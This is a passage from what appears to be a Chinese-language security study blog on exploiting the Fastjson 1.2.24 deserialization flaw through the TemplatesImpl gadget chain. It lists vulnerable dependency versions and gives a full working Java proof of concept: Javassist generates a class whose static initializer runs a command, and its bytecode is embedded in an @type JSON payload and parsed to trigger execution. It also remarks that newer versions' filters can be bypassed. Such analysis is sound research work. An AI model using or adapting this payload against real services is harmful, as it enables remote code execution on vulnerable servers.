依赖

先研究1.2.24版本的，版本高了就有waf了，不过也能绕，高版本以后再说

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>
<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>5.1.46</version>
</dependency>
<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.29.1-GA</version>
</dependency>

Fastjson之任意get，set调用

TemplatesImpl链

老样子定义恶意类，然后打TemplatesImpl的defineClass

java 复制代码

package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;

import java.io.IOException;
import java.util.Base64;

public class Main {
    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException {
        ClassPool pool = new ClassPool();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] codes = cc.toBytecode();
        String value = Base64.getEncoder().encodeToString(codes);
        String payload = "{\"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\": [\""+value+"\"], \"_name\": \"c.c\", \"_tfactory\": {}, \"_outputProperties\": {},\"_name\": \"a\", \"_version\": \"1.0\", \"allowedProtocols\": \"all\"}";
        // 注意这里这些属性都是私有属性，所以得设置Feature.SupportNonPublicField来保证可以对私有属性赋值
        JSON.parseObject(payload, Feature.SupportNonPublicField);
    }
}

打个断点进行分析，断点打在JSON.parseObject，进入parse